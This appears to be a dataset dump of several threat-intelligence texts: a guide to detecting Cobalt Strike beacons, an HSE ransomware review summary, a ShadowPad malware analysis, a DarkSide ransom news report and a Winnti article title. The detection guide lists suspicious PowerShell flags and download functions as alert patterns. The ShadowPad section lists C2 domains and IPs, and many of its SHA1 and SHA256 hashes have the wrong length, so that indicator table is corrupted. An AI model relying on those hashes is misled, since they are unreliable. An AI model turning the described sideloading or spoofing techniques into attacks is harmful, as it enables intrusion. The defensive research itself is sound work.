text
stringlengths 8
115k
|
---|
# Detecting Cobalt Strike Beacons
## Introduction
Cobalt Strike is a commercial tool for adversary simulation. Created by Raphael Mudge in 2012, Cobalt Strike was one of the first public red team command and control frameworks. It’s also used by threat actors, with the first activity detected for malicious purposes dating back to 2016. The main components of Cobalt Strike are a C2 server and a beacon installed on compromised machines. The Cobalt Strike beacon comes with a number of capabilities, including a command-line interface, allowing the execution of scripts or commands native to the machine’s operating system. Cobalt Strike for malicious purposes is known to be used by more than 50 threat actor groups and is very common in ransomware attacks.
In terms of beacon types and methods used for connecting to the C2 servers, the most common are HTTP (~67%), HTTPS (~29%), and DNS (~3%). Including JITTER in the beacon to avoid detection has been detected in roughly 15% of all the beacons analyzed. When it comes to spawning, around 90% of all beacons analyzed were spawning rundll32.exe as the main process for lateral movement. Sophisticated attacks using Cobalt Strike beacons, like Nobelium's usage of Cobalt Strike linked to the SolarWinds campaign, try to evade detection by fine-tuning many of the configurable options.
## Prevention
Many of the Cobalt Strike beacons in the wild and additional payloads downloaded as part of the attack chain are flagged and removed by Windows Defender via local file analysis (file hash) or its real-time analysis engine. From a prevention point of view, some key points are:
- Collecting, reviewing, and alerting on Windows Defender settings not matching minimum criteria (Real Time, Enabled, Exclusion extensions, Excluded folders, removable media, etc.). Deploy an inventory collection script and alert on inadequate settings.
- Ensuring that the antimalware platform is running and in a healthy state.
- Ensuring that Windows Defender is successfully downloading and updating the latest file signatures.
- Ensuring that periodic scans are run in all agents and completed successfully.
## Detection
### Network Activity
Communication to C2 Server:
- Suspicious processes (“winlogon.exe”, “rundll32.exe”, etc.) opening network connections to public IP addresses. Keep track and alert on unusual processes (least seen) opening network connections. Special attention to HTTP, HTTPS, and DNS outbound connections. Sysmon (event ID 3) provides all the required telemetry.
Visualizations such as network maps linking Process — DST IP — Connection port can help to quickly identify anomalies. Keep track of downloaded payloads (.js files, .gif files, etc.). Sysmon (Event ID 15) provides this telemetry. Send relevant observables (DNS requests, Destination IPs, file hashes of downloaded files) to security feeds/threat intel platform to identify IoCs related to these observables.
### Process Activity
Used in lateral movement by Cobalt Strike beacons: rundll32.exe being spawned by another process(es) with no arguments. Keep track and alert on unusual processes spawning rundll32.exe. Used in post-exploitation in Cobalt Strike related attacks: rundll32.exe spawning processes like Adfind.exe, Net.exe, or any other Windows processes used for systems, services, or network discovery.
**Parent Process Spoofing:** Parent process spoofing is a common technique used by Cobalt Strike beacons. With this technique, the beacon tries to evade common detection methods such as processes related to the Office suite launching unusual child processes. Cobalt Strike beacons often spoof processes like “word.exe” or “excel.exe” to “explorer.exe” so that when the child process is launched, the telemetry reported by the EDR agent makes the detection of unusual process chains difficult. Keep track of unique file hashes (process image) and their mapping to file process image name and location. Spoofed processes will have the same process name but different file hash and possibly executed from an unusual location.
Send relevant observables (file hash of the executed file image) to security feeds/threat intel platform to identify IoCs related to these observables.
### Powershell Execution
Suspicious command line arguments used: nop, hidden, encodedcommand, nologo, noprofile. The “encodedcommand” (base64) can be extracted and its literal content further analyzed, looking for commands like “Net.Webclient”, “Invoke-WebRequest”, etc., commonly used for lateral movement on the source machine. On the destination machine, a common detection is spotting PowerShell executions where the parent process = “wsmprovhost.exe” and with a command line = “-Version 5.1 -s -nologo -noprofile.” Detection rule to spot PowerShell executions with the encodedcommand command line and decode the content of the base64 string to “clear text.” Include the decoded command as an additional alert in Wazuh manager.
### Memory Artifacts / Process Injection
Downloaded payloads try to be executed under the memory space of “Rundll32.exe.” Keep track and alert on unsigned DLLs or those with no valid certificate loaded into memory. Sysmon (Event ID 7) provides this telemetry: Unsigned DLLs loaded in memory. Visualizations such as DLL side loading maps linking Process — DLL — DLL vendor can help to quickly identify anomalies. Send relevant observables (DLL file hash) to security feeds/threat intel platform to identify IoCs related to these observables.
### Lateral Movement
PSEXEC is one of the most common processes used by Cobalt Strike beacons for lateral movement. PSEXEC is used to drop a payload in a shared folder (normally ADMIN$) and then to start a new service on the target machine that executes that payload. The payload will spawn another process, and finally, the remote service is removed. Detection rules based on frequency alerting on service creation/modification/deletion activity: System Services Activity and Telemetry. Keep track and alert on unusual executables launched by services.exe.
## Need Help?
The functionality discussed in this post, and so much more, are available via the SOCFortress platform. Let SOCFortress help you and your team keep your infrastructure secure. |
# Cyber Attack on the HSE
## Independent Post Incident Review
Commissioned by the HSE Board in conjunction with the CEO and Executive Management Team
03 December 2021
**Important Notice**
This document has been prepared only for the Health Services Executive (“HSE”) and solely for the purpose and on the terms agreed with the HSE in our engagement letter dated 21 June 2021, as amended on 6 August 2021. We accept no liability (including for negligence) to anyone else in connection with this document.
The scope of our work was limited to a review of documentary evidence made available to us and interviews with selected HSE personnel, CHOs, hospitals, and third parties relevant to the review. We have taken reasonable steps to check the accuracy of information provided to us but we have not independently verified all of the information provided to us relating to the services.
A significant volume of documentation was provided to us throughout the course of the review. We have limited our review to those documents that we consider relevant to our Terms of Reference. We cannot guarantee that we have had sight of all relevant documentation or information that may be in existence and therefore cannot comment on the completeness of the documentation or information made available to us. Any documentation or information brought to our attention subsequent to the date of this report may require us to adjust our report accordingly.
---
## Executive Summary
### Background
The Health Service Executive (“HSE”) is a large geographically spread organisation that provides all of Ireland’s public health services through hospitals and communities across the country. The HSE consists of approximately 4,000 locations, 54 acute hospitals, and over 70,000 devices (PCs, laptops, etc.). Services are provided through both community-delivered care and care provided through the hospital system as well as the national ambulance service.
The HSE is the largest employer in the Irish state, with over 130,000 staff including direct employees and those employed by organisations funded by the HSE. It comprises an extensive community increasingly dependent on connected and reliable Information Technology (“IT”) solutions.
### Introduction to the Incident
In the early hours of Friday 14 May 2021, the HSE was subjected to a serious cyber attack through the criminal infiltration of their IT systems using Conti ransomware. The HSE invoked its Critical Incident Process, which began a sequence of events leading to the decision to switch off all HSE IT systems and disconnect the National Healthcare Network (“NHN”) from the internet to attempt to contain and assess the impact of the cyber attack.
This immediately resulted in healthcare professionals losing access to all HSE provided IT systems, including patient information systems, clinical care systems, and laboratory systems. Non-clinical systems such as financial systems, payroll, and procurement systems were also lost.
The aim of the attacker was to disrupt health services and IT systems, steal data, and demand a ransom for the non-publication of stolen data and provision of a tool to restore access to data they had encrypted.
### Timeline of the Incident
On 18 March 2021, the source of the cyber-attack originated from a malicious software infection on a HSE workstation. The malware infection was the result of the user clicking and opening a malicious Microsoft Excel file attached to a phishing email sent to the user on 16 March 2021.
After gaining unauthorised access to the HSE’s IT environment, the attacker continued to operate in the environment over an eight-week period until the detonation of the Conti ransomware on 14 May 2021.
The incident was not identified and contained until after the detonation of the ransomware, which caused widespread IT disruption. There were several detections of the attacker’s activity prior to 14 May 2021, but these did not result in a cybersecurity incident and investigation initiated by the HSE.
### Key Recommendations and Findings
1. **Implement an enhanced governance structure** over IT and cybersecurity that will provide appropriate focus, attention, and oversight.
2. **Establish a transformational Chief Technology & Transformation Officer (“CTTO”)** to create a vision and architecture for a resilient and future-fit technology capability.
3. **Appoint a Chief Information Security Officer (“CISO”)** and establish a suitably resourced and skilled cybersecurity function.
4. **Develop and drive the execution of a multi-year cybersecurity transformation programme** to deliver an acceptable level of cybersecurity capability for a national health service.
5. **Implement a clinical and services continuity transformation programme** to ensure provision for continuity of critical operations and the ability to recover in the face of a ransomware attack.
### Conclusion
While reviews of this nature tend to focus on what went wrong to identify learnings, it is also important to recognize that the incident was caused by an attacker and the HSE was the victim of a cybercrime. There was a considerable effort made by personnel to respond to the incident, recover from it, and continue to provide patient care throughout.
The HSE is operating on a frail IT estate that has lacked the investment over many years required to maintain a secure, resilient, modern IT infrastructure. It does not possess the required cybersecurity capabilities to protect the operation of health services and the data they process from the cyber attacks that all organizations face today.
The required investment commitment is likely to be a multiple of the HSE’s current expenditure on technology and operational resilience, but is essential to protect the HSE against future attacks which are inevitable and have the potential to be even more damaging. |
# ShadowPad Malware Analysis
**Summary**
The ShadowPad advanced modular remote access trojan (RAT) has been deployed by the Chinese government-sponsored BRONZE ATLAS threat group since at least 2017. A growing list of other Chinese threat groups have deployed it globally since 2019 in attacks against organizations in various industry verticals. Secureworks® Counter Threat Unit™ (CTU) analysis of ShadowPad samples revealed clusters of activity linked to threat groups affiliated with the Chinese Ministry of State Security (MSS) civilian intelligence agency and the People's Liberation Army (PLA).
Some clusters that target China's 'near abroad' appear to be linked to PLA theater commands. These theater commands were introduced in the PLA reforms announced in 2015. Evidence of infrastructure and malware crossover among threat groups likely operating within the same theater command suggests that PLA reforms could be facilitating collaboration among these groups.
ShadowPad is decrypted in memory using a custom decryption algorithm. CTU™ researchers have identified multiple ShadowPad versions based on these distinct algorithms. ShadowPad extracts information about the host, executes commands, interacts with the file system and registry, and deploys new modules to extend functionality. CTU researchers discovered that ShadowPad payloads are deployed to a host either encrypted within a DLL loader or within a separate file alongside a DLL loader. These DLL loaders decrypt and execute ShadowPad in memory after being sideloaded by a legitimate executable vulnerable to DLL search order hijacking.
## ShadowPad DLL loader execution
The majority of ShadowPad samples analyzed by CTU researchers were two-file execution chains: an encrypted ShadowPad payload embedded in a DLL loader. ShadowPad DLL loaders are sideloaded by a legitimate executable vulnerable to DLL search order hijacking. The DLL loader then decrypts and executes the embedded ShadowPad payload in memory using a custom decryption algorithm specific to the malware version.
**Table 1. Legitimate executable and DLL loader filenames used to load ShadowPad.**
| Legitimate executable | Vendor | ShadowPad DLL loader filename |
|-----------------------|--------|-------------------------------|
| AppLaunch.exe | Microsoft | mscoree.dll |
| hpqhvind.exe | Hewlett Packard | hpqhvsei.dll |
| consent.exe | Microsoft | secur32.dll |
| TosBtKbd.exe | Toshiba | tosbtkbd.dll |
| BDReinit.exe | BitDefender | log.dll |
| Oleview.exe | Microsoft | iviewers.dll |
CTU researchers identified ShadowPad execution chains involving a third file that contains the encrypted ShadowPad payload. These chains execute the legitimate executable (usually renamed), sideload the ShadowPad DLL loader, and load and decrypt the third file. CTU researchers observed threat actors using BDReinit.exe or Oleview.exe as initial files in the three-file ShadowPad execution chain. The third file in the BDReinit.exe execution chain is log.dll.dat; in the Oleview.exe execution chain, it is iviewers.dll.dat. CTU researchers have attributed campaigns using these execution chains to the Chinese BRONZE UNIVERSITY threat group, which has targeted transportation, natural resource, energy, and non-governmental organizations.
Third-party researchers have also identified three-file ShadowPad execution chains that begin with consent.exe (followed by secur32.dll and secur32.dll.dat) and AppLaunch.exe (followed by mscoree.dll and mscoree.dll.dat). Additionally, CTU analysis revealed a sample that used AppLaunch.exe followed by mscoree.dll and mscoree.dll.mui.
Other ShadowPad samples from 2018 also deviated from the typical two-file execution chain. Those samples, which used the filename TSVIPSrv.DLL, are placed in the Windows System32 directory and are loaded by the Windows SessionEnv Service, which is vulnerable to DLL hijacking. CTU researchers observed BRONZE ATLAS using this technique in 2021 to load other payloads via this filename, including Cobalt Strike.
CTU researchers discovered ShadowPad samples sharing behavioral similarities such as injecting the decrypted ShadowPad payload into a newly launched target process and establishing persistence on a compromised host specified in the configuration settings.
**Figure 1. ShadowPad sample configuration information.**
As part of the execution chain, ShadowPad copies the legitimate binary and sideloaded DLL to a subdirectory specific to each sample. Most analyzed samples were copied to a subdirectory under C:\ProgramData, C:\Users\<username>\Roaming, or C:\Program Files. In three-file execution chains, the third file (e.g., log.dll.dat, iviewers.dll.dat) is typically deleted and the ShadowPad DLL loader is padded to over 50MB, likely to evade antivirus software. As part of this process, an encrypted payload is usually saved to a registry key under HKLM\SOFTWARE\Classes\CLSID\{GUID}\<eight-character hexadecimal string>.
After the initial setup, the legitimate executable is launched as a Windows service. This service initiates the ShadowPad execution chain. The ShadowPad payload is injected into a child process of the service process that is specified in the ShadowPad configuration information.
**Figure 3. Observed timeline of ShadowPad execution, service creation, and payload injection on a compromised network.**
CTU researchers observed threat actors interacting with ShadowPad malware on compromised hosts. In one incident, multiple cmd.exe child processes were launched via hands-on-keyboard activity.
## Identifying characteristics
The following file structures and behaviors can indicate a ShadowPad compromise:
- A subdirectory within C:\ProgramData, C:\Users\<username>\Roaming, or C:\Program Files that contains a legitimate executable (likely renamed) and one of the known ShadowPad DLL loader filenames from Table 1.
- A Windows service that launches the legitimate executable from that subdirectory.
- Process telemetry showing the Windows service creating an unusual child process (e.g., svchost.exe), which in turn creates multiple dllhost.exe and cmd.exe child processes.
## The BRONZE ATLAS/Chengdu 404 nexus
ShadowPad gained notoriety in 2017 after it was deployed in software supply chain attacks involving CCleaner, NetSarang, and ASUS Live Update utility. These campaigns were attributed to the BRONZE ATLAS threat group.
A 2017 Microsoft complaint and U.S. Department of Justice (DOJ) indictments unsealed in 2020 provide additional information on ShadowPad's connection to BRONZE ATLAS. The Microsoft complaint alleges that BRONZE ATLAS (also known as Barium) deployed ShadowPad in 2017 to steal intellectual property and personally identifiable information (PII). At the time, the malware was used only by BRONZE ATLAS. The DOJ indictments allege that Chinese nationals working for the Chengdu 404 network security company deployed ShadowPad in a global campaign attributed to BRONZE ATLAS.
A related DOJ indictment revealed that these Chinese nationals collaborated with another Chinese national known by the handle 'Rose' (sometimes known as Withered Rose and Wicked Rose), using similar tactics, techniques, and procedures (TTPs) and sharing malware. The indictment describes this individual as a sophisticated threat actor who committed computer intrusion offenses targeting high-technology organizations globally. Campaigns linked to Rose were tracked as Barium.
A third-party report claimed that Rose likely co-developed malware with an associate named 'whg,' who has been linked to the development of the PlugX malware. PlugX is used by multiple Chinese threat groups. Third-party researchers also identified string and code overlap between PlugX and ShadowPad. This overlap suggests close links between the ShadowPad and PlugX developers. ShadowPad may have been developed by an individual or group affiliated with BRONZE ATLAS. One possibility is that Chengdu 404 originally developed ShadowPad, as the individuals named in the DOJ indictments were allegedly involved with developing malware used in their campaigns.
It is likely that only BRONZE ATLAS used ShadowPad until approximately 2019. Most of the ShadowPad DLL loader samples can be clustered based on compile timestamps, C2 infrastructure, payload versions, DLL loader code overlap, and likely victimology. CTU researchers identified multiple ShadowPad clusters used in campaigns since 2019 and attributed these clusters to distinct threat groups. These groups include BRONZE ATLAS and BRONZE UNIVERSITY, whose targeting suggests affiliation with the MSS. A third-party report suggests that BRONZE UNIVERSITY (referred to in the report as Earth Lusca) may be operating near Chengdu in China after operational security mistakes revealed China-based infrastructure. Other ShadowPad clusters appear to reflect targeting aligned with PLA theater command areas of responsibility.
## PLA reforms
In late 2015, PRC leader Xi Jinping announced widespread reforms to the PLA that included the establishment of the Strategic Support Force (PLASSF or SSF). This new branch focuses on modernizing the PLA's capabilities in strategic frontiers of space, cyberspace, and the electromagnetic domain. The impact on the PLA's cyberespionage mission has been extensive. Many organizations responsible for cyberespionage and signals intelligence (SIGINT) associated with the Third Department of the PLA's General Staff Department (commonly known as 3PLA) have been absorbed into the SSF Network Systems Department (NSD). The SSF NSD is also believed to be responsible for a broad range of information warfare capabilities beyond cyberespionage, coordinating electronic countermeasures as well as offensive and defensive cyber projects.
As part of the modernization, the PLA replaced its seven military regions with five theater commands: Eastern, Southern, Western, Northern, and Central. These theater commands orchestrate ground, naval, air, and conventional missile forces for military operations in their geographic area of responsibility. While the exact area of responsibility for each theater command is ambiguous, they are broadly responsible for specific threats within their respective regions:
- Eastern Theater Command: Taiwan strait and East China sea
- Southern Theater Command: South China sea
- Northern Theater Command: Russia and the Korean peninsula
- Western Theater Command: Central Asia and the Sino-Indian border
- Central Theater Command: defends the capital and possibly provides support to other theater commands
Prior to the PLA reforms, each military region maintained at least one Technical Reconnaissance Bureau (TRB) to handle SIGINT and cyberespionage activities focused on the military region's area of responsibility. The TRBs were distinct from the former 3PLA units that were located across China, but they may have been tasked by the 3PLA. The relationship between the TRBs and the theater commands is unclear. The TRBs may have been consolidated under the SSF NSD alongside former 3PLA units. It is also possible that they continue to target countries in their area of responsibility but under the command and control of the SSF NSD.
## Connections to PLA-linked threat groups
CTU researchers grouped distinct ShadowPad activity clusters by targeted geographic regions. Clusters align with the documented area of responsibility for three of the theater commands: Northern, Southern, and Western. CTU researchers attribute some of the ShadowPad activity to Chinese threat groups that have been publicly linked to specific PLA units located in the corresponding theater commands:
- **Northern Theater Command:** CTU researchers linked ShadowPad activity to BRONZE HUNTLEY and BRONZE BUTLER, which are reportedly located in the Northern Theater Command. These threat groups deployed ShadowPad against targets in South Korea, Russia, Japan, and Mongolia. These regions align with the Northern Theater Command's focus. In 2021, CTU researchers observed malware and infrastructure overlap between the two threat groups, suggesting close collaboration.
- **Western Theater Command:** Some ShadowPad activity primarily targeted countries neighboring China's western border, such as India and Afghanistan. CTU researchers clustered this activity based on attacker-controlled infrastructure, ShadowPad DLL loader variants such as ICEKILLER, and contextual information from third-party sources. Third-party researchers linked some of these campaigns to an individual working on behalf of the Western Theater Command. CTU analysis did not reveal sufficient evidence to corroborate these claims, but the locations and victimology are consistent with threat actors operating on behalf of the Western Theater Command.
- **Southern Theater Command:** CTU researchers identified activity that used a specific ShadowPad version to target organizations in the South China Sea region. BRONZE GENEVA is likely responsible for part of this activity based on overlap between the C2 infrastructure for the Nebulae malware family associated with BRONZE GENEVA and a ShadowPad sample analyzed by CTU researchers.
This attribution of ShadowPad campaigns to theater commands is based on the submitter's location for ShadowPad malware samples uploaded to the VirusTotal analysis service (potentially indicating the victim's country), the C2 domain names that appear to reference specific regions (e.g., cloudvn.info suggests Vietnam targeting), contextual information regarding the activity and victimology, and the absence of evidence that ShadowPad samples with the same attributes were deployed in other regions.
## Conclusion
Evidence available as of this publication suggests that ShadowPad has been deployed by MSS-affiliated threat groups, as well as PLA-affiliated threat groups that operate on behalf of the regional theater commands. The malware was likely developed by threat actors affiliated with BRONZE ATLAS and then shared with MSS and PLA threat groups around 2019. Given the range of groups leveraging ShadowPad, all organizations that are likely targets for Chinese threat groups should monitor for TTPs associated with this malware. Organizations with operations in or connections to geographic regions covered by the regional theater commands should specifically monitor for known TTPs associated with threat groups likely affiliated with the relevant theater command.
## Threat indicators
The threat indicators in Table 2 can be used to detect activity related to this threat. Note that IP addresses can be reallocated. The IP addresses and domains may contain malicious content, so consider the risks before opening them in a browser.
**Table 2. Indicators for this threat.**
| Indicator | Type | Context |
|-----------|------|---------|
| billing.epac.to | Domain | ShadowPad C2 server |
| 9d686ceed21877821ab6170a348cc073 | MD5 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| 3ebeb4e08c82b220365b1e7dd0cc199b7 | SHA1 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| 9c28c1b2ff0a84c8b667f128626f28b17 | SHA256 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| 172.197.18.30 | IP address | ShadowPad C2 server |
| 172.200.21.190 | IP address | ShadowPad C2 server |
| 27d889c351ac2f48d31b91d06061ec8d | MD5 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| f5b7ea5e705655a1bc08030b601443088a5af4dd | SHA1 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| d48e671df571b76ee94c734bdd5272e12 | SHA256 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| vsmrcil.casacam.net | Domain | ShadowPad C2 server |
| 17e812958704f4ced297731ce47de020 | MD5 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| 57b5ca13d7b2dd9287bdda548ccf7b21c | SHA1 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| 0942f4a488899d5d78b31a0065e49c868 | SHA256 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| exat.dnset.com | Domain | ShadowPad C2 server |
| fac0b4fe5372d76607c36ccb51e6b7bb | MD5 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| 952614358b37d2a519d66ee7759c70e31 | SHA1 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| 4557e923602730aab7718b61eeaf3a93e | SHA256 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| dprouds.casacam.net | Domain | ShadowPad C2 server |
| 17268032c7562fa9473bb85018cb1c2c | MD5 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| 3d1ae0779b304a8d54df1429331584174 | SHA1 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| bf3de88459f85ddd85245e3f1ce3bba65 | SHA256 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| secupdate.kozow.com | Domain | ShadowPad C2 server |
| 41ff21ea773b73812d91f91b68280ed3 | MD5 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| 8d0be3bca6c93b1ab396ec4a93a33371c | SHA1 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| 2e07d66155987216dc8cc095b48dd9714 | SHA256 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| goest.mrbonus.com | Domain | ShadowPad C2 server |
| 1480d2856e4d57d0c8394ade835493db | MD5 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| 3dfa0fc7da98d0efbd6dbc4b47e01f669 | SHA1 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| 69eb1aa0021c9b6905b8f0a354884a67f | SHA256 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| phiinoc.dnsdyn.net | Domain | ShadowPad C2 server |
| 40e7f1a18735819d6cf5f5cff0fb72f4 | MD5 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| 0b75c1507d6849b303fb496ab8afa60c6 | SHA1 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| bc0c31be0d4784a6f8ad6333767580e61 | SHA256 hash | ShadowPad DLL loader ICEKILLER variant (mscoree.dll) |
| stratorpriv.lubni23.com | Domain | BRONZE HUNTLEY ShadowPad C2 server |
| 59961f8c3d8d6cfb7a378f58ff5c5f30 | MD5 hash | BRONZE HUNTLEY ShadowPad DLL loader (secur32.dll) |
| 56ff0a3f5d8f67468f1771d38cc6d017a | SHA1 hash | BRONZE HUNTLEY ShadowPad DLL loader (secur32.dll) |
| 0dfd91a0dd5d1143697413ebd50efde24 | SHA256 hash | BRONZE HUNTLEY ShadowPad DLL loader (secur32.dll) |
| www.cloudvn.info | Domain | ShadowPad C2 server linked to targeting of Vietnamese organizations |
| 0ddd78208c16e9f8174868bdf92eac9b | MD5 hash | ShadowPad DLL loader linked to targeting of Vietnamese organizations (hpqhvsei.dll) |
| fa639e82ae481a70dffff2c50745ada66 | SHA1 hash | ShadowPad DLL loader linked to targeting of Vietnamese organizations (hpqhvsei.dll) |
| 244e22147cc1e37543159a95cf4674a61 | SHA256 hash | ShadowPad DLL loader linked to targeting of Vietnamese organizations (hpqhvsei.dll) |
| 103.255.179.186 | IP address | ShadowPad C2 server linked to targeting of Vietnamese organizations |
| f977be4ebb0d06c9a19b37d8bbb37178 | MD5 hash | ShadowPad DLL loader linked to targeting of Vietnamese organizations (hpqhvsei.dll) |
| 92c091453295536aef0bac93aa24a2946 | SHA1 hash | ShadowPad DLL loader linked to targeting of Vietnamese organizations (hpqhvsei.dll) |
| 2e6ef72d05b395224a03a73a50eaee1c9 | SHA256 hash | ShadowPad DLL loader linked to targeting of Vietnamese organizations (hpqhvsei.dll) |
| 154.202.198.246 | IP address | ShadowPad C2 server linked to targeting of Vietnamese organizations |
| b40dec21d0c3061bef422bb946366cba | MD5 hash | ShadowPad DLL loader linked to targeting of Vietnamese organizations (hpqhvsei.dll) |
| 78f59be833fe8a504a0def218d72aef62 | SHA1 hash | ShadowPad DLL loader linked to targeting of Vietnamese organizations (hpqhvsei.dll) |
| 73bb7e7d0743d40a1d967497a5fbb79c0 | SHA256 hash | ShadowPad DLL loader linked to targeting of Vietnamese organizations (hpqhvsei.dll) |
| 3520e591065d3174999cc254e6f3dbf5 | MD5 hash | BRONZE UNIVERSITY ShadowPad DLL loader (log.dll) |
| 47cdaf6c5c3fffeeff1f2c9e6c7649f99 | SHA1 hash | BRONZE UNIVERSITY ShadowPad DLL loader (log.dll) |
| dbb32cb933b6bb25e499185d6db71386a | SHA256 hash | BRONZE UNIVERSITY ShadowPad DLL loader (log.dll) |
| bda94af893973fe675c35e5699d90521 | MD5 hash | BRONZE UNIVERSITY ShadowPad payload (log.dll.dat) |
| 41b78af0a34f2d1da8d52d895ee50da26 | SHA1 hash | BRONZE UNIVERSITY ShadowPad payload (log.dll.dat) |
| 18c4a15e587b223a3fb4d27eedeb16b81 | SHA256 hash | BRONZE UNIVERSITY ShadowPad payload (log.dll.dat) |
| 207.148.98.61 | IP address | BRONZE UNIVERSITY ShadowPad C2 server |
| 06539163f71f8bd496db75ccb41db820 | MD5 hash | BRONZE UNIVERSITY ShadowPad DLL loader (log.dll) |
| 880fa69a6efd8de68771d3df2f9683107 | SHA1 hash | BRONZE UNIVERSITY ShadowPad DLL loader (log.dll) |
| a8e5a1b15d42c4da97e23f5eb4a0adfd2 | SHA256 hash | BRONZE UNIVERSITY ShadowPad DLL loader (log.dll) |
| 373eacf3ffd1b5722f9d3c1595092b4c | MD5 hash | BRONZE UNIVERSITY ShadowPad payload (log.dll.dat) |
| 363e32fafd2732b3cfb53dfd39bef56da | SHA1 hash | BRONZE UNIVERSITY ShadowPad payload (log.dll.dat) |
| 8065da4300e12e95b45e64ff8493d9401 | SHA256 hash | BRONZE UNIVERSITY ShadowPad payload (log.dll.dat) |
## References
- Threat Intelligence Team. “New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities.” Avast. March 8, 2018.
- Dr Web. “Study of the ShadowPad APT backdoor and its relation to PlugX.” October 26, 2020.
- Fraser, Nalani and Vanderlee, Kelli. “Achievement Unlocked: Chinese Cyber Espionage Evolves to Support Higher Mission Levels.” FireEye. October 10, 2019.
- Headquarters, Department of the Army (U.S.). “Chinese Tactics.” August 9, 2021.
- Hsieh, Yi-Jhen and Chen, Joey. “ShadowPad: A Masterpiece of Privately Sold Malware in Chinese Espionage.” Sentinel Labs. August 19, 2020.
- Insikt Group. “Threat Activity Group RedFoxtrot Linked to China's PLA Unit 69010; Targets Bordering Asian Countries.” Recorded Future. June 16, 2021.
- Kaspersky. “ShadowPad: How Attackers hide Backdoor in Software used by Hundreds of Large Companies around the World.” August 15, 2017.
- Ni, Adam and Gill, Bates. “The People's Liberation Army Strategic Support Force: Update 2019.” The Jamestown Foundation. May 29, 2019.
- Prescott, Adam. “Chasing Shadows: A deep dive into the latest obfuscation method being used by ShadowPad.” PwC. December 8, 2021.
- Recorded Future. “Threat Activity Group RedFoxtrot Linked to China's PLA Unit 69010; Targets Bordering Asian Countries.” June 16, 2021.
- Stokes, Mark A.; Lin Jenny; and Hsiao, L.C. Russell. “The Chinese People's Liberation Army Signals Intelligence and Cyber Reconnaissance Infrastructure.” Project 2049 Institute. November 11, 2011.
- United States Department of Justice. “Seven International Cyber Defendants, Including 'Apt41' Actors, Charged In Connection With Computer Intrusion Campaigns Against More Than 100 Victims Globally.” September 16, 2020.
- United States District Court for the District of Columbia. “United States of America v. Zhang Haoran, Tan Dailin, Defendants.” May 7, 2019.
- United States District Court for the Eastern District of Virginia. “Civil Action No: 1:17-cv-01224.” October 26, 2017.
- Wuthnow, Joel and Saunders, Phillip C. “Chinese Military Reforms in the Age of Xi Jinping: Drivers, Challenges, and Implications.” Institute for National Strategic Studies. March 2017.
- Zetter, Kim. “Hackers Hijacked ASUS Software Updates to Install Backdoors on Thousands of Computers.” Vice. March 25, 2019. |
# Chemical Distributor Pays $4.4 Million to DarkSide Ransomware
Chemical distribution company Brenntag paid a $4.4 million ransom in Bitcoin to the DarkSide ransomware gang to receive a decryptor for encrypted files and prevent the threat actors from publicly leaking stolen data. Brenntag is a world-leading chemical distribution company headquartered in Germany, with over 17,000 employees worldwide at over 670 sites. According to the ICS Top 100 Chemical Distributors report, Brenntag is the second largest in sales for North America.
## Brenntag Confirms Cyberattack
At the beginning of May, Brenntag suffered a ransomware attack that targeted their North America division. As part of this attack, the threat actors encrypted devices on the network and stole unencrypted files. From the information shared with BleepingComputer by an anonymous source, the DarkSide ransomware group claimed to have stolen 150GB of data during their attack. To prove their claims, the ransomware gang created a private data leak page containing a description of the types of data that were stolen and screenshots of some of the files.
DarkSide initially demanded a 133.65 Bitcoin ransom, valued at approximately $7.5 million at the time. However, after negotiations, BleepingComputer was told that the ransom demand was decreased to $4.4 million, which was paid two days ago. From the bitcoin address shared with BleepingComputer, we confirmed that Brenntag sent the ransom to the attackers on May 11th. Today, Brenntag shared a statement with BleepingComputer confirming that they suffered a security incident but did not outright state it was a ransomware attack. "Brenntag North America is currently working to resolve a limited information security incident," Brenntag told BleepingComputer. "As soon as we learned of this incident, we disconnected affected systems from the network to contain the threat."
"In addition, third-party cybersecurity and forensic experts were immediately engaged to help investigate. We also informed law enforcement of this incident."
## Gained Access Through Stolen Credentials
DarkSide is a Ransomware-as-a-Service (RaaS) operation, which is when the ransomware developers partner with third-party affiliates, or hackers, who are responsible for gaining access to a network and encrypting devices. As part of this arrangement, the core DarkSide team earns 20-30% of a ransom payment, and the rest goes to the affiliate who conducted the attack. One of the conditions for most ransomware negotiations is that the affiliate discloses how they gained access to a victim's network. This could come in the form of a multi-page security audit report or simply a simple paragraph in the Tor chat screen explaining how they gained access.
In this particular case, the DarkSide affiliate claims to have gotten access to the network after purchasing stolen credentials. However, the DarkSide affiliate does not know how the credentials were originally obtained. Ransomware gangs and other threat actors commonly use dark web marketplaces to purchase stolen credentials, especially those for Remote Desktop credentials. Last month, BleepingComputer reported how one of the largest RDP marketplaces, UAS, suffered a breach showing that over the past three years they had access to 1.3 million stolen credentials.
While this was an expensive lesson, and unfortunately all-too-common, the attack illustrates the importance of enforcing multi-factor authentication for all logins on a network and putting all Remote Desktop servers behind a VPN. If MFA was enabled for account logins, it is unlikely that the DarkSide affiliate would have gained access to the network. |
# No “Game over” for the Winnti Group
**Mathieu Tartare, Martin Smolár**
**May 21, 2020**
